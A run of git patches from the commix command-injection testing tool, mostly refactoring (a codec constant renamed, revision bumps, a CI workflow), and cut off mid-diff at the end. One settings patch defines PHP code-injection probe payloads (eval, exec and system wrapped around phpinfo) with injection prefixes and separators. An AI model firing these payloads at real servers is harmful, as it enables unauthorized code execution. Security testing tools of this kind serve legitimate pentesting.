b/src/core/requests/redirection.py @@ -93,7 +93,7 @@ def http_error_405(self, req, fp, code, msg, headers): try: settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) if menu.options.auth_type == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.UNICODE_ENCODING)).decode().replace('\n', '') + b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') opener.addheaders.append(("Authorization", "Basic " + b64_string + "")) elif menu.options.auth_type == "digest": try: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 253ea51750..9a5d0a1cad 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -45,7 +45,7 @@ def estimate_response_time(url, timesec): sys.stdout.flush() # Check if defined POST data if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) @@ -359,7 +359,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) @@ -487,7 +487,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) @@ -619,7 +619,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) @@ -754,7 +754,7 @@ def inject_host(url, vuln_parameter, payload, proxy): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) @@ -888,7 +888,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 452d3aaf8e..97b5f02003 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -59,7 +59,7 @@ def do_check(): if check_privoxy_proxy: try: - check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.UNICODE_ENCODING) + check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.DEFAULT_CODEC) found_ip = re.findall(r": " + "(.*)" + "

", check_tor_page) if not "You are not using Tor" in check_tor_page: sys.stdout.write(settings.SUCCESS_STATUS + "\n") diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 813bf6584b..8a65d0dfeb 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -434,7 +434,7 @@ def other_bind_shells(separator): with open (output, "r") as content_file: data = content_file.readlines() data = ''.join(data) - #data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode() + #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() print(settings.SINGLE_WHITESPACE) # Remove the ouput file. diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 981d36c80b..ecd1695ced 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -476,7 +476,7 @@ def other_reverse_shells(separator): with open (output, "r") as content_file: data = content_file.readlines() data = ''.join(data) - #data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode() + #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() print(settings.SINGLE_WHITESPACE) # Remove the ouput file. diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 6fcb508dd7..873e07da92 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -39,7 +39,7 @@ def tamper(payload): else: payload = _urllib.parse.unquote(payload) payload = base64.b64encode(payload.encode()) - payload = payload.decode(settings.UNICODE_ENCODING) + payload = payload.decode(settings.DEFAULT_CODEC) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index 29a2a13eed..a0880136dc 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -39,7 +39,7 @@ def tamper(payload): else: payload = _urllib.parse.unquote(payload) payload = hexencode(payload) - payload = payload.decode(settings.UNICODE_ENCODING) + payload = payload.decode(settings.DEFAULT_CODEC) return payload # eof \ No newline at end of file diff --git a/src/utils/common.py b/src/utils/common.py index ed9f1cc96f..c505a3d1fe 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -72,7 +72,7 @@ def create_github_issue(err_msg, exc_msg): _ = re.sub(r".+\Z", "", _) _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"= _", "= ", _) - _ = _.encode(settings.UNICODE_ENCODING) + _ = _.encode(settings.DEFAULT_CODEC) bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\"" @@ -124,14 +124,14 @@ def create_github_issue(err_msg, exc_msg): data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", data = json.dumps(data).encode(), - headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.UNICODE_ENCODING)).decode()} + headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()} ) try: content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() except Exception as err: content = None - issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.UNICODE_ENCODING) or "") + issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.DEFAULT_CODEC) or "") if issue_url: info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'.\n" print(settings.print_info_msg(info_msg)) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 325538e5a1..529ccaaf66 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -61,7 +61,7 @@ def request(url): try: # Check if defined POST data if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: request = _urllib.request.Request(url) headers.do_check(request) diff --git a/src/utils/logs.py b/src/utils/logs.py index c9f4452e43..f7a9a34275 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -174,7 +174,7 @@ def logs_notification(filename): def log_traffic(header): output_file = open(menu.options.traffic_file, "a") if type(header) is bytes: - header = header.decode(settings.UNICODE_ENCODING) + header = header.decode(settings.DEFAULT_CODEC) output_file.write(header) output_file.close() diff --git a/src/utils/menu.py b/src/utils/menu.py index 237b7c485c..ab554450e9 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -114,11 +114,17 @@ def banner(): default=False, help="Skip heuristic detection for code injection.") -general.add_option("--encoding", +# general.add_option("--encoding", +# action="store", +# dest="encoding", +# default=None, +# help="Force character encoding used for data retrieval (e.g. GBK).") + +general.add_option("--codec", action="store", - dest="encoding", + dest="codec", default=None, - help="Force character encoding used for data retrieval (e.g. GBK).") + help="Force codec for character encoding (e.g. 'ascii').") general.add_option("--charset", action="store", diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index b0d8411aba..3027f59de3 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -353,14 +353,14 @@ def store_cmd(url, cmd, shell, vuln_parameter): if settings.TESTABLE_PARAMETER: conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode()), \ - str(base64.b64encode(shell.encode(settings.UNICODE_ENCODING)).decode()), \ + (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ + str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ str(vuln_parameter))) else: conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) "\ "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode()), \ - str(base64.b64encode(shell.encode(settings.UNICODE_ENCODING)).decode()), \ + (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ + str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ str(settings.HTTP_HEADER))) conn.commit() conn.close() @@ -380,11 +380,11 @@ def export_stored_cmd(url, cmd, vuln_parameter): conn = sqlite3.connect(settings.SESSION_FILE) if settings.TESTABLE_PARAMETER: cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode() + "' AND "\ + "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\ "vuln_parameter= '" + vuln_parameter + "';").fetchall() else: cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode() + "' AND "\ + "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\ "vuln_parameter= '" + settings.HTTP_HEADER + "';").fetchall() conn.commit() @@ -393,7 +393,7 @@ def export_stored_cmd(url, cmd, vuln_parameter): for session in cursor: output = base64.b64decode(session[0]) try: - return output.decode(settings.UNICODE_ENCODING) + return output.decode(settings.DEFAULT_CODEC) except AttributeError: return output else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 56d38bf894..ce38c88cb7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -184,7 +184,7 @@ def sys_argv_errors(): _reload_module(sys) try: # Fix for Python 2.7 - sys.setdefaultencoding(UNICODE_ENCODING) + sys.setdefaultencoding(DEFAULT_CODEC) except AttributeError: pass for i in xrange(len(sys.argv)): @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -593,14 +593,14 @@ def sys_argv_errors(): # Cookie delimiter PARAMETER_DELIMITER = "&" -UNICODE_ENCODING = "utf8" +DEFAULT_CODEC = "utf8" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" try: codecs.lookup(DEFAULT_PAGE_ENCODING) except LookupError: - DEFAULT_PAGE_ENCODING = UNICODE_ENCODING + DEFAULT_PAGE_ENCODING = DEFAULT_CODEC # Character Sets List. # A complete list of the standard encodings Python supports. From 24c54a20774935f90f9f4b759ed28f4ec534f08c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 19 Oct 2021 07:52:53 +0300 Subject: [PATCH 0008/1023] Minor update --- src/utils/settings.py | 2 +- src/utils/version.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index ce38c88cb7..4e2a6c0b79 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" diff --git a/src/utils/version.py b/src/utils/version.py index 0dd0a1da39..03a6b475cf 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -28,9 +28,9 @@ def show_version(): """ def python_version(): PYTHON_VERSION = sys.version.split()[0] - if PYTHON_VERSION >= "3" or PYTHON_VERSION < "2.7": - warn_msg = "Python version " - warn_msg += PYTHON_VERSION + " detected. " - warn_msg += "You are advised to use Python version 2.7.x." + if PYTHON_VERSION.split(".")[0] != 3: + warn_msg = "Deprecated Python version detected: " + warn_msg += PYTHON_VERSION + ". " + warn_msg += "You are advised to use Python version 3." print("\n" + settings.print_bold_warning_msg(warn_msg)) #raise SystemExit() From ce78185374d467e35fe93ad97333a82c9a989fc9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 20 Oct 2021 09:02:39 +0300 Subject: [PATCH 0009/1023] Fixes https://github.com/commixproject/commix/issues/696 --- src/core/injections/controller/controller.py | 11 +++++++---- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 88bde84ab9..6b0b69ca4c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -635,10 +635,13 @@ def basic_level_checks(): if menu.options.auth_url and menu.options.auth_data: # Do the authentication process. authentication.authentication_process() - - # Check if authentication page is the same with the next (injection) URL - if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): - err_msg = "It seems that the authentication procedure has failed." + try: + # Check if authentication page is the same with the next (injection) URL + if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): + err_msg = "It seems that the authentication procedure has failed." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.auth_url or menu.options.auth_data: diff --git a/src/utils/settings.py b/src/utils/settings.py index 4e2a6c0b79..dda03cd20b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 30c6dc9ab3a438bdc81aede707bb395f96fe9484 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 21 Oct 2021 09:49:41 +0300 Subject: [PATCH 0010/1023] Improvements regarding dynamic code evaluation heuristic check --- doc/CHANGELOG.md | 1 + src/utils/settings.py | 30 ++++++++++++++++++++---------- 2 files changed, 21 insertions(+), 10 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 002a5b5f03..5416217ce1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Revised: Improvements regarding dynamic code evaluation heuristic check. * Replaced: The `--encoding` option has been replaced with `--codec`. ## Version 3.3 (2021-09-13) diff --git a/src/utils/settings.py b/src/utils/settings.py index dda03cd20b..f997a43e50 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -256,13 +256,23 @@ def sys_argv_errors(): VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' #Basic heuristic checks for code injection warnings or... phpinfo page ;) -PHPINFO_PAYLOAD = "eval(phpinfo())" -PHPINFO_CHECK_PAYLOADS = ["print(" + PHPINFO_PAYLOAD + ")", - "test)'}" + PHPINFO_PAYLOAD + "'#", - "'." + PHPINFO_PAYLOAD + ".'", - "{${" + PHPINFO_PAYLOAD + "}}", - "\\\\/{${" + PHPINFO_PAYLOAD + "}}\\/\\" - ] +PHPINFO_PAYLOAD = "phpinfo()" + +PHP_EXEC_FUNCTIONS = [ "" + PHPINFO_PAYLOAD + "", + "exec(" + PHPINFO_PAYLOAD + ")", + "eval(" + PHPINFO_PAYLOAD + ")", + "system(" + PHPINFO_PAYLOAD + ")" +] + +PHPINFO_CHECK_PAYLOADS = [ + [".print(" + x + ")" for x in PHP_EXEC_FUNCTIONS], + [")'}" + x + "'#" for x in PHP_EXEC_FUNCTIONS], + ["'." + x + ".'" for x in PHP_EXEC_FUNCTIONS], + ["{${" + x + "}}" for x in PHP_EXEC_FUNCTIONS], + ["\\\\/{${" + x + "}}\\/\\" for x in PHP_EXEC_FUNCTIONS] +] + +PHPINFO_CHECK_PAYLOADS = [x for payload in PHPINFO_CHECK_PAYLOADS for x in payload] # Executed phpinfo() IDENTIFIED_PHPINFO = False @@ -270,7 +280,7 @@ def sys_argv_errors(): # Code injection warnings IDENTIFIED_WARNINGS = False -CODE_INJECTION_WARNINGS = ["eval()'d code", "runtime-created function", "usort", "assert", "preg_replace"] +CODE_INJECTION_WARNINGS = ["eval()'d code", "runtime-created function", "usort()", "assert()", "preg_replace()"] SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False @@ -371,7 +381,7 @@ def sys_argv_errors(): EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] # The code injection prefixes. -EVAL_PREFIXES = [".", "", "{${", "\".", "'.", "", ";", "'", ")", "')", "\")", ");}", "');}", "\");}"] +EVAL_PREFIXES = [".", "{${", "\".", "'.", "", ";", "'", ")", "')", "\")", ");}", "');}", "\");}"] # The code injection separators. EVAL_SEPARATORS = ["", "%0a", "\\n", "%0d%0a", "\\r\\n"] From 64e7e74d4c674d5ce6d658487e92acb2f33072eb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Oct 2021 09:13:08 +0300 Subject: [PATCH 0011/1023] Let's get started with GitHub actions --- .github/workflows/test.yml | 21 +++++++++++++++++++++ src/utils/settings.py | 2 +- 2 files changed, 22 insertions(+), 1 deletion(-) create mode 100644 .github/workflows/test.yml diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 0000000000..373fbbb21a --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,21 @@ +on: + push: + branches: [ master ] + pull_request: + branches: [ master ] + +jobs: + build: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, macos-latest, windows-latest] + python-version: [ '2.x', '3.10', 'pypy-2.7', 'pypy-3.7' ] + steps: + - uses: actions/checkout@v2 + - name: Set up Python + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + - name: Basic import test + run: python -c "import commix" \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index f997a43e50..c768479eda 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From b77d46409ad3e4814672519add5cca3d650e627b Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Fri, 22 Oct 2021 09:52:23 +0300 Subject: [PATCH 0012/1023] Rename test.yml to builds.yml --- .github/workflows/{test.yml => builds.yml} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename .github/workflows/{test.yml => builds.yml} (92%) diff --git a/.github/workflows/test.yml b/.github/workflows/builds.yml similarity index 92% rename from .github/workflows/test.yml rename to .github/workflows/builds.yml index 373fbbb21a..f4f0ee6120 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/builds.yml @@ -18,4 +18,4 @@ jobs: with: python-version: ${{ matrix.python-version }} - name: Basic import test - run: python -c "import commix" \ No newline at end of file + run: python -c "import commix" From 146251c29e75aff09531b8f48bb7ac5546d3c33a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Oct 2021 09:57:02 +0300 Subject: [PATCH 0013/1023] Minor update regarding README.md --- .github/workflows/{test.yml => builds.yml} | 0 README.md | 2 +- doc/translations/README-gr-GR.md | 2 +- 3 files changed, 2 insertions(+), 2 deletions(-) rename .github/workflows/{test.yml => builds.yml} (100%) diff --git a/.github/workflows/test.yml b/.github/workflows/builds.yml similarity index 100% rename from .github/workflows/test.yml rename to .github/workflows/builds.yml diff --git a/README.md b/README.md index 093f35e2c7..cb6625b562 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@

CommixProject

- Build Status + Builds Tests Python 2.6|2.7|3.x GPLv3 License GitHub closed issues diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 2332a6b154..b327a08b07 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,7 +1,7 @@

CommixProject

- Build Status + Builds Tests Python 2.6|2.7|3.x GPLv3 License GitHub closed issues From 6274e18c504d476f53c4addda2d6c655ab5d3fa6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 25 Oct 2021 09:26:36 +0300 Subject: [PATCH 0014/1023] Minor update --- src/utils/settings.py | 2 +- src/utils/version.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index c768479eda..bed3cd310c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" diff --git a/src/utils/version.py b/src/utils/version.py index 03a6b475cf..b3497d8eb6 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -28,7 +28,7 @@ def show_version(): """ def python_version(): PYTHON_VERSION = sys.version.split()[0] - if PYTHON_VERSION.split(".")[0] != 3: + if PYTHON_VERSION.split(".")[0] != "3": warn_msg = "Deprecated Python version detected: " warn_msg += PYTHON_VERSION + ". " warn_msg += "You are advised to use Python version 3." From afa82e7897a9a296fad3e50ea02723a04433e2f4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 26 Oct 2021 07:54:55 +0300 Subject: [PATCH 0015/1023] Minor refactoring --- src/thirdparty/beautifulsoup/__init__.py | 82 ++++++++++++++++++++++-- src/thirdparty/flatten_json/__init__.py | 9 +++ src/utils/settings.py | 2 +- 3 files changed, 85 insertions(+), 8 deletions(-) diff --git a/src/thirdparty/beautifulsoup/__init__.py b/src/thirdparty/beautifulsoup/__init__.py index b50e6972c9..81b1ece759 100644 --- a/src/thirdparty/beautifulsoup/__init__.py +++ b/src/thirdparty/beautifulsoup/__init__.py @@ -2,15 +2,83 @@ # encoding: UTF-8 """ -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Beautiful Soup +Elixir and Tonic +"The Screen-Scraper's Friend" +http://www.crummy.com/software/BeautifulSoup/ -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. +Beautiful Soup parses a (possibly invalid) XML or HTML document into a +tree representation. It provides methods and Pythonic idioms that make +it easy to navigate, search, and modify the tree. + +A well-formed XML/HTML document yields a well-formed data +structure. An ill-formed XML/HTML document yields a correspondingly +ill-formed data structure. If your document is only locally +well-formed, you can use this library to find and process the +well-formed part of it. + +Beautiful Soup works with Python 2.2 and up. It has no external +dependencies, but you'll have more success at converting data to UTF-8 +if you also install these three packages: + +* chardet, for auto-detecting character encodings + http://chardet.feedparser.org/ +* cjkcodecs and iconv_codec, which add more encodings to the ones supported + by stock Python. + http://cjkpython.i18n.org/ + +Beautiful Soup defines classes for two main parsing strategies: + + * BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific + language that kind of looks like XML. + + * BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid + or invalid. This class has web browser-like heuristics for + obtaining a sensible parse tree in the face of common HTML errors. + +Beautiful Soup also defines a class (UnicodeDammit) for autodetecting +the encoding of an HTML or XML document, and converting it to +Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser. + +For more than you ever wanted to know about Beautiful Soup, see the +documentation: +http://www.crummy.com/software/BeautifulSoup/documentation.html + +Here, have some legalese: + +Copyright (c) 2004-2010, Leonard Richardson + +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided + with the distribution. + + * Neither the name of the the Beautiful Soup Consortium and All + Night Kosher Bakery nor the names of its contributors may be + used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. -For more see the file 'readme/COPYING' for copying permission. """ pass \ No newline at end of file diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py index e69de29bb2..e74cd45430 100644 --- a/src/thirdparty/flatten_json/__init__.py +++ b/src/thirdparty/flatten_json/__init__.py @@ -0,0 +1,9 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +Flattens JSON objects in Python. +flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table. +""" + +pass \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index bed3cd310c..3b8c691fbc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From bd9407e9a4e8c92e0081fff47be47b3b021f1758 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 27 Oct 2021 09:03:51 +0300 Subject: [PATCH 0016/1023] Minor refactoring --- src/utils/common.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index c505a3d1fe..9f6e1dd73c 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -178,7 +178,7 @@ def unhandled_exception(): print(settings.print_critical_msg(err_msg)) raise SystemExit() - elif "MemoryError" in exc_msg: + elif any(_ in exc_msg for _ in ("MemoryError", "Cannot allocate memory")): err_msg = "Memory exhaustion detected." print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 3b8c691fbc..5b83ffa606 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From fe49d33fe36b778b8cf7d2febd6ed735b4fac109 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 28 Oct 2021 09:47:14 +0300 Subject: [PATCH 0017/1023] Fixes https://github.com/commixproject/commix/issues/697 --- src/utils/common.py | 14 +++++++------- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 9f6e1dd73c..6ee6d068b6 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -164,13 +164,6 @@ def unhandled_exception(): print(settings.print_critical_msg(err_msg)) raise SystemExit() - elif all(_ in 